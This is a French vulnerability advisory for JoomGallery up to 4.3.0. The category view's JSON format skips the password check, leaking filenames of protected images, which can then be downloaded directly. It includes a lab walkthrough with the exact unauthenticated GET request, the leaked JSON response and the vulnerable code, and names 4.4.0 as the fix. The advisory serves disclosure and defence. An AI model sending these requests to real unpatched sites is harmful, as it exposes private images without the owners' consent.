
Contournement de catégorie protégée par mot de passe via le format JSON dans JoomGallery
JoomGallery ≤ 4.3.0-stable — Un attaquant non authentifié contourne la barrière du mot de passe pour télécharger des images protégées
Un contournement de contrôle d'accès non authentifié existe dans la vue JSON des catégories de JoomGallery. Lorsqu'une catégorie de galerie est protégée par un mot de passe, la vue HTML applique correctement la barrière du mot de passe — mais la vue JSON (format=json) ignore complètement cette vérification.
Un attaquant distant sans identifiants peut récupérer le titre, la description et les noms de fichiers aléatoires de toutes les images protégées de la catégorie, puis télécharger directement ces images. La protection par mot de passe est contournée avec une seule requête HTTP.
Le contournement est limité aux catégories dont le niveau d'accès ACL de Joomla est défini sur Public (access=1). Les catégories restreintes aux accès Registered ou Special restent bloquées au niveau de l'ACL dans JsonView.php:69.
| COMPOSANT | VULNÉRABLE | TESTÉ SUR | CORRIGÉ |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
Type : Contrôle d'accès inapproprié (CWE-284)
Authentification requise : Aucune — non authentifié, une seule requête HTTP
Fichier : site/com_joomgallery/src/View/Category/JsonView.php, lignes 76–96
JoomGallery implémente la protection par mot de passe des catégories via un indicateur pw_protected. Cette vérification est présente dans HtmlView.php mais totalement absente dans JsonView.php :
HTMLVIEW.PHP — CORRECT (protection présente)
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — VULNÉRABLE (aucune protection)
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // always executes
$this->item->images->items = $model->getImages(); // always executes
$this->output($this->item); // serializes full response to JSON including filenames
Le paramètre format=json de Joomla achemine la même URL vers une classe View distincte. Chaque View doit appliquer indépendamment les contrôles d'accès — le framework ne les propage pas automatiquement. Le développeur a ajouté la protection pw_protected dans HtmlView mais l'a omise dans JsonView.
La protection par mot de passe de JoomGallery repose sur la confidentialité des noms de fichiers des images — les fichiers sont stockés comme ressources statiques sous /images/joomgallery/originals/ et servis directement par Apache sans aucune authentification côté serveur. Les noms de fichiers sont aléatoires (par exemple, secret-image-1_20260803_1951053711.jpg) et ne sont divulgués qu'après avoir réussi la vérification du mot de passe via la couche PHP/Joomla. Le contournement JSON brise ce modèle en divulguant les noms de fichiers aux demandeurs non authentifiés, complétant ainsi la chaîne d'attaque jusqu'à la récupération complète des images.
Configuration du laboratoire :
pw_protected=true, access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
Résultat : Le formulaire de mot de passe est affiché. Aucun contenu de catégorie visible.

GET /index.php/gallery/categories/3-secret-gallery
Résultat : L'accès direct aux images est bloqué dans le chemin d'alias (/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
Réponse (HTTP 200, sans authentification) :
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true confirme que le mot de passe est défini. Malgré cela, la réponse complète, y compris le nom de fichier aléatoire, est renvoyée à un appelant non authentifié.

En utilisant le nom de fichier obtenu à l'étape 3
Résultat : HTTP 200 — le fichier image est renvoyé directement par Apache. Aucune authentification requise.

Toute catégorie de galerie que l'administrateur a protégée par un mot de passe est entièrement compromise. L'attaquant n'a besoin que de l'ID numérique de la catégorie, qui est séquentiel et trivialement énumérable.